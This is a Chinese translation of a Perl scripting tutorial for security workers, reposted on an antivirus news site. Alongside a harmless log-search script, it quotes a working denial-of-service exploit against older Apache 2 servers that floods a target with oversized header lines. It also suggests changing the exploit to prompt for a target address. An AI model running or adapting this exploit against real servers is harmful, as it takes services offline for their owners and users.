全站资讯检索:
 
您现在的位置: 猫头鹰病毒资讯网 >> 系统安全 >> 系统安全 >> 文章正文
安全系列教程之脚本与安全第二部
作者:丁丁    文章来源:赛迪网    点击数:    更新时间:2007-5-17

在这个两部分系列的第一篇文章中,我们看到脚本确实在计算机安全专家的工作中占有一席之地。在这第二部分我将给你示范修改早期的脚本并且包括一些命令行的强大工具。

在这个关于脚本能如何影响作为一个工作中的计算机安全专家的你的系列文章的第一部分中,我们研究了一个PERL脚本如何能做到这点。正如我在第一篇文章中提到的那样,根据你的偏好PERL或者Python可以有多种多样的用法。在这最后一篇文章中我将阐述的是如何进一步修改我在第一部分包含的的脚本,接着研究PERL有的io:module.文章的最后将粗略的提到一些诸如sed,grep和其它已经移植到Win32上的强大工具。

修改脚本

我不了解你,但是开始一个新的工作前发现有许多遗留下来的脚本要你维护是很平常的。通过遗产脚本我想说的是在你开始工作前有一些东西需要处理。这些脚本通常难于维护和理解,取决于它们写的有多好以及脚本本身注释是否充足。记住如果你的脚本将变得很大,你应该包括大量的注释给那些最终必须维护和修改你脚本的人。关于这个让我们看看我在第一篇文章中写的脚本。

为了简要,我将不包括这篇文章第一部分的脚本或者输入文件。请把输入文件例子复制粘贴到你的C:\盘。既然你已经完成了这些,我们准备以一个简单的方式修改第一部分见到的脚本。我们将要做的是通过增加另外的IP地址简单地修改“192.168.1.102”的搜索模式。是的,实际上你可以有一个一次搜索一个模式以上的脚本!我们实际上将做的唯一变动如下。脚本的其它部分将保持不变。

#!/usr/bin/perl -w

$pattern = "(192.168.1.102|192.168.1.103)"; #changes are done here on this line

open(INPUT, 'c:\articlefile') || die "can't open the file called article_file: $1";

open(OUTPUT, '>c:\articleoutput') ||die "can't write to the file called script_output: $1";

while(<INPUT>)  {
    if ($_ =~(m/$pattern/g))    {
        print OUTPUT "$_\n";

    }
}

close(INPUT);
close(OUTPUT);

既然我们已经修改了我们的脚本,如上所示,PERL的多功能性再一次显示出来。以一行的一个简单变动,你现在可以搜索一个模式的多重实例,这将有利于你。快捷,方便和迅速或者你也可以说这正是PERL如此流行的原因。

PERL的 io:module

我以前在文章中提到我们将研究PERL必须提供的许多模块当中的一个。希望你们会看我提供给你们的超链接,那里有一个模块宝库在等你。它是找到工作模块为了某些目的通过尝试修改它们然后在你的PERL上实现的一个极好的地方。那是或者简单研究好的PERL看起来是什么样的。我们知道安全总与我们关系重大,让我们来看用PERL写的漏洞检测代码的一小部分,其中它也利用了io:moule。请见以下例子代码。也请注意系列的打印声明,这个脚本要归功于Georgi Guninski。

#!/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="192.168.1.108";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
    $buf=" $buf4\r\n";
    send($sock,$buf,0) || die "send error:$@, target maybe have been
D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);

从这个脚本我们可以看到它使用硬编码IP地址。在我加了下划线那行,即:$host的标量值。短短的24行PERL代码产生了一些相当妙的入侵检测代码。它被用来演示阿帕奇网络服务器上的拒绝服务攻击的情况。另一方面,当我们看到利用C或者C++写的入侵检测代码的时候,一般普遍多于24行。

这段入侵检测代码是一个你如何充分发挥PERL实力的完美例子。你进一步修改这个脚本以便你能提示用户通过输入上面见到的IP硬编码得到地址如何?这些将是简单的小修改,但是它们足以显示PERL是多么灵活和紧凑。

强大的工具

很长一段时间,Linux和UNIX能声称他们拥有最好的shell工具。从他们以前所做的来看很难怀疑这种说法的真实性。然而情况已经改变了,wind32现在已经获得同样的shell工具。从Linux和UNIX移植到win32的是一些著名工具,例如:sed和grep。在特定时间内对一份冗长的资料进行修改可能是件麻烦的事情。使用sed就不一样了。这个小程序使类似的任务变得简短,它是一个亦称为sed的流编辑器。你能在这里(http://unxutils.sourceforge.net/)下载这些工具。一旦你习惯了使用诸如sed和grep这样的工具,它将让你重新感激通过cmd.exe所提供给你的命令行接口。

总结

我们已经看完了这个两部分的系列文章,PERL对于计算机安全专家确实相当重要。如果没有办法学习C或者C++,那么干脆花点时间学习一些重要的PERL技术。拥有编写象这里包括的如此简单的PERL脚本的能力将在以后为你节约大量的时间。PERL的另外一个卓越性能是他的简便性,以防你在异构环境下工作。最后,非常有用的工具象sed和grep也可以帮助你每天的活动。一旦你对它们感到满意,你将对某些工具的强大感到惊奇。我真诚地希望你们能够喜欢这个文章系列,并且一如既往的欢迎你们的反馈。下次见!

=============================================

原文链接:http://www.windowsecurity.com/articles/Scripting-Security-Part2.html

作者:Don Parker.

(t116)

文章录入:菜猫    责任编辑:菜猫 
 热点文章
跑跑卡丁车和瑞星帐号保…
安全基础知识系列之防范…
开机时弹出对话框C:\PRO…
网管限制上网用户权限的…
木马病毒查找与清除实战
“杀软克星”病毒使电脑…
利用 Windows 命令行保护…
制作一个百毒不侵的系统
六个步骤即可防范ARP地址…
如何清除局域网中的ARP病…
最新文章
 
相关评论
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
::发表评论::
姓 名:* (必填项)
E-mail: QQ:
评 分: 1分 2分 3分 4分 5分
评论内容:
  • 严禁发表危害国家安全、政治、黄色淫秽等内容的评论。
  • 评论人需对自己在使用评论过程中的行为承担法律责任。
  • 本站管理员有权保留或删除评论内容。
  • 游客发表评论须经管理员审核后才能发表。
  • 评论内容只代表个人观点,与本网站立场无关。
 
设为首页 | 收藏本站 | 关于我们 | 联系我们 | 刊登广告 | 版权声明 | 友情链接 | 网站地图
猫头鹰反病毒资讯网所有信息来自互联网及网友提供,如侵犯了你的权益,请来信告知,我们将立即删除!
Copyright © 2007-2008 MoToYi.com All rights reserved
本站为你提供病毒木马的防治方案,专杀工具和防护软件的下载,系统及网络的安全技巧,手机病毒发展趋势.